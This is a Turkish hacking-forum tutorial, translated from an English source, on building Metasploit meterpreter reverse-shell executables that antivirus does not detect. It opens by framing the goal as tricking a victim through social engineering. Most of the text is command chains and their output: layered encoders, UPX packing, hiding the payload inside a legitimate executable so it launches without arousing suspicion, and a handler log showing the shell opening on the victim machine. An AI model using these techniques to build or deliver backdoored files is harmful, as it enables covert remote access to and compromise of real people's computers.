Öğreticiler #6 | Antivirüsleri Atlatma ve Backdooring PE Dosyaları

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,192
653
Antivirüsleri Atlatma ve Backdooring PE Dosyaları

Diyelim ki zararlı yazılımınızı çalıştırması için birini sosyal mühendislik kullanarak kandırmak istiyorsunuz. Bunu nasıl ve neden yapacağınız sizin sorununuz, ama amacınıza ulaştınız diyelim. Yaşayabileceğiniz en utanç verici şey antivirüsün zararlı dosyanıza ötmesi olacaktır. Böylesine utanç verici bir durumla karşılaşmamanız için size birkaç şey göstereceğim. Antivirüs geliştiricilerinin sürekli kendi algoritmalarını geliştirdiklerini belirteyim. Yani bugün size verdiğim bir taktik birkaç ay sonra çalışmayabilir. Ama bu durum sizi umutsuzluğa sevk etmesin :d Eminim ki iyice kendinizi odaklayıp bu konuya verirseniz pis sırlarınızı gizleyebilirsiniz ;))

Windows PE (portable) dosyalarıyla çalışacağım ancak bu teknikler diğer dosya türleriyle de çalışır, örneğin .pdf'ler gibi. Bu nedenle hayal gücünüzü kullanın. Ayrıca veritabanı en son sürümüne güncellenmiş olan bir antivirüs kullanacağım. Bu arada Eset Smart Security 5 tabii ki AVG'den daha iyi :d

Atacker: Backtrack 5 => 192.168.111.129
Victim: Windows XP => 192.168.111.128

(1) Ben bir meterpreter reverse tcp payloadını kullanacağım

Kod:
oot@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 O

       Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
     Module: payload/windows/meterpreter/reverse_tcp
    Version: 10394, 12600, 8984
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 290
       Rank: Normal

Provided by:
  skape <[email protected]>
  sf    <[email protected]>
  hdm   <hdm@****sploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.111.129  yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to the attacker, Inject the meterpreter server DLL via 
  the Reflective Dll Injection payload (staged)
(2) Bu payload'ı kullanarak 4 tane test senaryosu oluşturacağız, bu arada syntax'a dikkat edin

Kod:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
 -e x86/shikata_ga_nai -t exe > /root/Desktop/payload-1a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

####################################################################################################

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
 -e x86/shikata_ga_nai -c 6 -t raw| msfencode -e x86/alpha_upper -c 3 -t raw| msfencode -e 
 x86/shikata_ga_nai -c 5 -t raw| msfencode -e x86/countdown -c 5 -t exe -o 
 /root/Desktop/payload-2a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*]  x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*]  x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*]  x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*]  x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*]  x86/alpha_upper succeeded with size 971 (iteration=1)
[*] x86/alpha_upper  succeeded with size 2011 (iteration=2)
[*] x86/alpha_upper succeeded  with size 4090 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size  4119 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 4148  (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 4177  (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 4206  (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 4235  (iteration=5)
[*] x86/countdown succeeded with size 4253 (iteration=1)
[*]  x86/countdown succeeded with size 4271 (iteration=2)
[*] x86/countdown  succeeded with size 4289 (iteration=3)
[*] x86/countdown succeeded with  size 4307 (iteration=4)
[*] x86/countdown succeeded with size 4325  (iteration=5)

####################################################################################################

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
 -e x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/alpha_upper -c 5 -t raw| msfencode -e 
 x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/countdown -c 7 -t exe -o 
 /root/Desktop/payload-3a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*]  x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*]  x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*]  x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*]  x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*]  x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*]  x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*]  x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*]  x86/alpha_upper succeeded with size 1134 (iteration=1)
[*]  x86/alpha_upper succeeded with size 2337 (iteration=2)
[*]  x86/alpha_upper succeeded with size 4743 (iteration=3)
[*]  x86/alpha_upper succeeded with size 9555 (iteration=4)
[*]  x86/alpha_upper succeeded with size 19179 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 19208 (iteration=1)
[*]  x86/shikata_ga_nai succeeded with size 19237 (iteration=2)
[*]  x86/shikata_ga_nai succeeded with size 19266 (iteration=3)
[*]  x86/shikata_ga_nai succeeded with size 19295 (iteration=4)
[*]  x86/shikata_ga_nai succeeded with size 19324 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 19353 (iteration=6)
[*]  x86/shikata_ga_nai succeeded with size 19382 (iteration=7)
[*]  x86/shikata_ga_nai succeeded with size 19411 (iteration=8)
[*]  x86/shikata_ga_nai succeeded with size 19440 (iteration=9)
[*]  x86/countdown succeeded with size 19458 (iteration=1)
[*] x86/countdown  succeeded with size 19476 (iteration=2)
[*] x86/countdown succeeded with  size 19494 (iteration=3)
[*] x86/countdown succeeded with size 19512  (iteration=4)
[*] x86/countdown succeeded with size 19530  (iteration=5)
[*] x86/countdown succeeded with size 19548  (iteration=6)
[*] x86/countdown succeeded with size 19566 (iteration=7)

####################################################################################################

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode 
 -e x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/alpha_upper -c 6 -t raw| msfencode -e 
 x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/countdown -c 6 -t exe -o 
 /root/Desktop/payload-4a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*]  x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*]  x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*]  x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*]  x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*]  x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*]  x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*]  x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*]  x86/shikata_ga_nai succeeded with size 560 (iteration=10)
[*]  x86/alpha_upper succeeded with size 1188 (iteration=1)
[*]  x86/alpha_upper succeeded with size 2445 (iteration=2)
[*]  x86/alpha_upper succeeded with size 4959 (iteration=3)
[*]  x86/alpha_upper succeeded with size 9987 (iteration=4)
[*]  x86/alpha_upper succeeded with size 20042 (iteration=5)
[*]  x86/alpha_upper succeeded with size 40153 (iteration=6)
[*]  x86/shikata_ga_nai succeeded with size 40182 (iteration=1)
[*]  x86/shikata_ga_nai succeeded with size 40211 (iteration=2)
[*]  x86/shikata_ga_nai succeeded with size 40240 (iteration=3)
[*]  x86/shikata_ga_nai succeeded with size 40269 (iteration=4)
[*]  x86/shikata_ga_nai succeeded with size 40298 (iteration=5)
[*]  x86/shikata_ga_nai succeeded with size 40327 (iteration=6)
[*]  x86/shikata_ga_nai succeeded with size 40356 (iteration=7)
[*]  x86/shikata_ga_nai succeeded with size 40385 (iteration=8)
[*]  x86/shikata_ga_nai succeeded with size 40414 (iteration=9)
[*]  x86/shikata_ga_nai succeeded with size 40443 (iteration=10)
[*]  x86/countdown succeeded with size 40461 (iteration=1)
[*] x86/countdown  succeeded with size 40479 (iteration=2)
[*] x86/countdown succeeded with  size 40497 (iteration=3)
[*] x86/countdown succeeded with size 40515  (iteration=4)
[*] x86/countdown succeeded with size 40533  (iteration=5)
[*] x86/countdown succeeded with size 40551 (iteration=6)
Bu yürütülebilir dosyaları hedeflediğiniz yani kurbanınız olan makineye aktarma zamanı. Antivirüsü kapatıp payloadlarınızın çalışıp çalışmadığını kontrol etmenizi şiddetle tavsiye ediyorum. Bazen aşırı hevesli kodlamalardan kaynaklı işi doğru yapamayabilirsiniz. Dosya türlerinizi kontrol ettikten sonra, Antivirüsünüzü tekrar aktif edin ve dosyaları algılayıp algılayamadığını kontrol edin. Aşağıdaki ekran görüntüsünde görebileceğiniz gibi bende hiçbiri tespit edilemiyor. Yani payloadların işlevsel olduğunu onaylamış olduk.

payload_big1.png


(4) Tamamdır, o zaman şimdi kurbanın zararlı dosyamızı açmasını simüle edelim. Aşağıdaki ekran görüntüsünde payload'ımızı çalıştırmadan önce ve sonra payload işleyicimizin Backtrack 5 üzerindekini ve “netstat –an” i görebiliriz.

payload_big2.png


Kod:
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.111.129  yes       The listen address
   LPORT     9988             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit
[*] Started reverse handler on 192.168.111.129:9988 
[*] Starting the  payload handler...
[*] Sending stage (752128 bytes) to 192.168.111.128
[*]  Meterpreter session 1 opened (192.168.111.129:9988 ->  192.168.111.128:1060) at 2011-11-05 
    08:10:16 +0100

meterpreter > shell
Process 1712 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\Payloads> ...Game Over...
Hedefimize ulaştık ama henüz bitmedi. Bu tür bir kodlamanın yetersiz olacağı bir durum olabilir. Yani payloadınızı daha da karmaşık hale getirmek için paketleyicileri(packerları) kullanabilirsiniz. Paketleyici, çalıştırılabilir bir dosyayı sıkıştırmak için kullanabileceğiniz bir araçtır. (kodlayıcı gibi) bir miktar düzenlemeyle birlikte orijinal yürütülebilir dosyayı yeniden oluşturmak için bellekte sıkıştırılabilir. Ama dikkatli olmanız lazım çünkü bu işlem payloadınızı bozabilir. 4 test durumumuzu sıkıştırmak için UPX adlı popüler bir paketleyici kullandığımızda neler olacağını görelim. Aşağıdaki ekran görüntüsüne göre, 3 ve 4 numaralı test durumları artık tespit edilemez gibi görünüyor. Ancak henüz çok hevesli olmayın, bazı testlerden sonra 4. test vakasının paketlendikten sonra kırıldığını keşfettim (her zaman sonuçlarınızı test edin !!). Ancak hepsi kaybolmadı, iki saptanamayan yük ile baş başa kalıyoruz: (1) Test senaryosu 4'ün orijinal kodlanmış sürümü ve (2) test senaryosu 3'ün paketlenmiş sürümü.

payload_big3.png


Kod:
root@bt:~/Desktop# upx -5 payload-1a.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2009
UPX 3.04        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 27th 2009

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     48128   65.21%    win32/pe     payload-1a.exe                

Packed 1 file.
root@bt:~/Desktop# upx -5 payload-2a.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2009
UPX 3.04        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 27th 2009

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     49152   66.60%    win32/pe     payload-2a.exe                

Packed 1 file.
root@bt:~/Desktop# upx -5 payload-3a.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2009
UPX 3.04        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 27th 2009

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     52736   71.46%    win32/pe     payload-3a.exe                

Packed 1 file.
root@bt:~/Desktop# upx -5 payload-4a.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2009
UPX 3.04        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 27th 2009

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     58368   79.09%    win32/pe     payload-4a.exe                

Packed 1 file.
(**) Hey hey, nereye gidiyorsun, daha bitmedi bir yere kaybolma ve konuyu okumaya devam et :ddd. Eklemek istediğim bir şey daha var. Bu dosya biçimi yüklerini oluşturmak için msfpayload şablonları kullanır. Birçok Antivirüs, met4sploit tarafından kullanılan bu şablonları özellikle algılamak için imzalara sahiptir. Yani bu şablonları kullanırsanız yakalanma ihtimaliniz oldukça yüksektir. Bununla birlikte, özel şablonlar kullanmak ve yükümüzü bunlarda gizlemek mümkündür. Bu yürütülebilir dosyalar için tespit oranları tahmin edilebileceği gibi çok daha düşük olacaktır. Bu şablonlara dayalı olarak kötü amaçlı dosyalar oluşturmak için kullanılan teknikler, bu konuda şimdiye kadar gördüklerimizle hemen hemen aynıdır. Unutulmaması gereken tek şey, bu şablonların daha kırılgan oldukları, çünkü yasal kodlar içerdikleri için, düzgün bir şekilde çalışmasını sağlamak için biraz deney yapmanız gerekecek. Ancak bu, bu konumuzun kapsamı dışındadır; Yolculuğunuza başlamanız için size sadece bazı temel syntaxları vereceğim. Dikkate almanız gereken iki temel komut çeşidi vardır. Biri ”-k” içeren, diğeri içermeyen. "-K" atlandığında, yukarıda bahsettiğimiz kurban, payloadınızı çalıştığında hiçbir şey olmayacaktır, bu şüphe uyandırabilir. "-K" dahil edilmişse, payload başlatılır, yürütülebilir dosyanın normal şekilde başlatılmasına izin vererek şüpheyi ortadan kaldıran ayrı bir işlevi görür. Farkı aşağıda görebilirsiniz...

Kod:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
 -e x86/shikata_ga_nai -c 5 -t exe -x /root/Some_Dir/legitimate.exe > 
 /root/Desktop/legitimate-payload_1.exe

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
 -e x86/shikata_ga_nai -c 5 -t exe -k -x /root/Some_Dir/legitimate.exe > 
 /root/Desktop/legitimate-payload_2.exe
Source: https://www.fuzzysecurity.com/tutorials/3.html
Translator @Gauloran
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.